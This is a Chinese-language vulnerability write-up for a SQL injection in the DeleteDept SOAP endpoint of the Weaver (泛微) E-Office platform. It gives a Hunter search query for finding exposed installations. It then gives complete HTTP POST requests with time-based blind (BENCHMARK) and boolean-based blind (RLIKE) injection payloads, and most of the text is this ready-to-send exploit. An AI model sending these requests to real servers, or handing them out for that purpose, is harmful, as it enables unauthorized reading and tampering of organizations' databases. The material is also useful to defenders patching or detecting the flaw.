泛微 E-Office DeleteDept SQL注入漏洞
一、漏洞简介
泛微 E-Office 协同办公平台DeleteDept接口存在SQL注入漏洞,攻击者可利用该漏洞执行任意SQL语句,进行增、删、改、查等数据库操作,造成数据库敏感数据信息泄露或被篡改
二、影响版本
- 泛微E-office
三、资产测绘
- hunter
app.name="泛微 e-office OA"
- 特征
四、漏洞复现
POST /webservice-json/dept/dept.wsdl.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN_LANG=cn; PHPSESSID=f7a9ea956886032e112be71df7256a28
Connection: close
SOAPAction: urn:DepartmentServicewsdl#DeleteDept
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 468
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:DepartmentServicewsdl">
<soapenv:Header/>
<soapenv:Body>
<urn:DeleteDept soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<DeptId xsi:type="xsd:string">gero et' AND 9761=BENCHMARK(5000000,MD5(0x4a6a4865))-- lhiN</DeptId>
</urn:DeleteDept>
</soapenv:Body>
</soapenv:Envelope>
POST /webservice-json/dept/dept.wsdl.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN_LANG=cn; PHPSESSID=f7a9ea956886032e112be71df7256a28
Connection: close
SOAPAction: urn:DepartmentServicewsdl#DeleteDept
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 468
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:DepartmentServicewsdl">
<soapenv:Header/>
<soapenv:Body>
<urn:DeleteDept soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<DeptId xsi:type="xsd:string">gero et</DeptId>
</urn:DeleteDept>
</soapenv:Body>
</soapenv:Envelope>
Type: time-based blind
gero et' AND 9761=BENCHMARK(5000000,MD5(0x4a6a4865))-- lhiN
Type: boolean-based blind
gero et' RLIKE (SELECT (CASE WHEN (2133=2133) THEN 0x6765726f206574 ELSE 0x28 END))-- Mpvc